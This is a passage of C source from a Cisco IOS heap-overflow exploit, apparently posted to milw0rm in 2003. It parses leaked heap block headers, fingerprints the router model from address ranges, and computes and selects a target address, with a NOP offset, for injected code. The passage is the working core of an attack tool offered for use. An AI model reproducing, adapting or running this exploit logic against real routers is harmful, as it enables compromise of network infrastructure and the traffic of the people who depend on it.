printf("\tAlloc PC : %08X\n",p_pc);
state++;
p+=4;
break;

case ST_NEXT:
p_next=ntohl(*(unsigned int *)p);
if (cfg.verbose) 
printf("\tNEXT Block : %08X\n",p_next);
if (block2_next_field==NULL) {
if (cfg.verbose) printf("Assigning as block2_next_field\n");
block2_next_field=p;
} else if (block3_next_val==0) {
if (cfg.verbose) printf("Assigning as block3_next_val\n");
block3_next_val=p_next;
}
state++;
p+=4;
break;

case ST_PREV:
p_prev=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("\tPREV Block : %08X\n",p_prev);
state++;
p+=4;
break;

case ST_SIZE:
if (cfg.verbose)
printf("\tBlock Size : %8u words",
ntohl(*(unsigned int *)p)&0x7FFFFFFF);
if (ntohl(*(unsigned int *)p)&0x80000000) {
if (cfg.verbose)
printf(" (Block in use)\n");
} else {
if (cfg.verbose)
printf(" (Block NOT in use)\n");
}
state++;
p+=4;
break;

case ST_REF:
if (cfg.verbose)
printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p));
state++;
p+=4;
break;

case ST_LASTDE:
if (cfg.verbose)
printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p));
state=ST_ID_ME_NOW;
p+=4;
break;

//
// Identification 
//
case ST_ID_ME_NOW:

i=0;
while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
if (
(p_name>=cisco_boxes[i].PC_start) && 
(p_name<=cisco_boxes[i].PC_end) &&
(p_pc>=cisco_boxes[i].PC_start) && 
(p_pc<=cisco_boxes[i].PC_end) &&
(p_next>=cisco_boxes[i].IO_start) && 
(p_next<=cisco_boxes[i].IO_end) &&
(p_prev>=cisco_boxes[i].IO_start) && 
(p_prev<=cisco_boxes[i].IO_end)
) {
leak.guess=i;
break;
}
i++;
}
state=0;
p+=4;
break;

default:
p+=1;

}
}

if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
unsigned int delta;
unsigned int a;
unsigned int i;
int flag=0;

delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
a=block3_next_val-delta;

if (cfg.verbose) {
printf("\n");
printf("Delta between opcode_begin (%p) "
"and block2_next_field (%p) is %u\n",
(void*)block2_next_field, (void*)opcode_begin, delta);
printf("The third block is at 0x%08X\n", block3_next_val);
printf("Therefore, the code should be located at 0x%08X\n",a);
}

for (i=0;i<leak.addrc;i++) {
if (leak.addrs[i].a==a) {
leak.addrs[i].count++;
flag++;
break;
}
}
if ((flag==0)&&(leak.addrc<MAXADDRS-1)) {
leak.addrs[leak.addrc++].a=a;
leak.addrs[leak.addrc].count=1;
leak.lastaddr=a;
}
}
}


unsigned int SelectAddress(void) {
unsigned int the_address;
int rnd_addr;
unsigned int i,j;
addrs_t atmp;
addrs_t consider[MAXADDRS];
unsigned int consc=0;

if (leak.addrc==0) {
fprintf(stderr,"ERROR: No addresses available. Unable to recover\n");
return 0;
}
for (i=0;i<leak.addrc;i++) 
printf(" Address 0x%08X (%u times)\n",
leak.addrs[i].a,
leak.addrs[i].count);

//
// put addresses to consider in another array.
// We only want those above our threshold, to prevent irregular buffers
//
memset(&consider,0,sizeof(consider));
for (i=0;i<leak.addrc;i++) {
if (leak.addrs[i].count<LOW_COUNT_THR) {
printf("Address 0x%08X count below threshold\n",
leak.addrs[i].a);
continue;
}
consider[consc]=leak.addrs[i];
consc++;
}

//
// bubble sort addresses, unless we are operating count based, where we 
// sort by times of appearences
//
if (cfg.strategy != S_FREQUENT) {
for (i=0;i<consc-1;i++) {
for (j=0;j<(consc-1-i);j++) {
if (consider[j+1].a < consider[j].a) {
atmp=consider[j];
consider[j] = consider[j+1];
consider[j+1] = atmp;
}
}
}
} else {
for (i=0;i<consc-1;i++) {
for (j=0;j<(consc-1-i);j++) {
if (consider[j+1].count < consider[j].count) {
atmp=consider[j];
consider[j] = consider[j+1];
consider[j+1] = atmp;
}
}
}
}

printf("Cleaned up, remaining addresses %u\n",consc);
if (consc==0) {
fprintf(stderr,"ERROR: No addresses left. Unable to recover\n"
"You can try to decrease LOW_COUNT_THR in the source\n");
return 0;
}
for (i=0;i<consc;i++) 
printf(" Address 0x%08X (%u times)\n",
consider[i].a,
consider[i].count);



switch (cfg.strategy) {
case S_RANDOM: 
{
srand((unsigned long)time(NULL));
rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0));
the_address=consider[rnd_addr].a + leak.nop_offset;
printf("Use pseudo-randomly selected address 0x%08X (0x%08X)\n",
the_address,consider[rnd_addr].a);
}
break;
case S_LAST: 
{
the_address=leak.lastaddr + leak.nop_offset;
printf("Using last address 0x%08X\n",the_address);
}
break;
case S_SMALLEST:
{
if (consc==1) {
the_address= consider[0].a + leak.nop_offset;
printf("Using smallest address 0x%08X (0x%08X)\n",
the_address,consider[0].a);
} else if (consc==2) {
the_address= consider[1].a + leak.nop_offset;
printf("Using second smallest address 0x%08X (0x%08X)\n",
the_address,consider[1].a);
} else {
the_address= consider[2].a + leak.nop_offset;
printf("Using third smallest address 0x%08X (0x%08X)\n",
the_address,consider[2].a);
}
}
break;
case S_HIGHEST:
{
the_address= consider[consc-1].a + leak.nop_offset;
printf("Using highest address 0x%08X (0x%08X)\n",
the_address,consider[consc-1].a);
}
break;
case S_FREQUENT:
{
// already sorted by frequency
the_address= consider[consc-1].a + leak.nop_offset;
printf("Using most frequent address 0x%08X (0x%08X)\n",
the_address,consider[consc-1].a);
}
break;
default:
fprintf(stderr,"ERROR: unknown address strategy selected\n");
return (0);
}

return the_address;
}

// milw0rm.com [2003-08-10]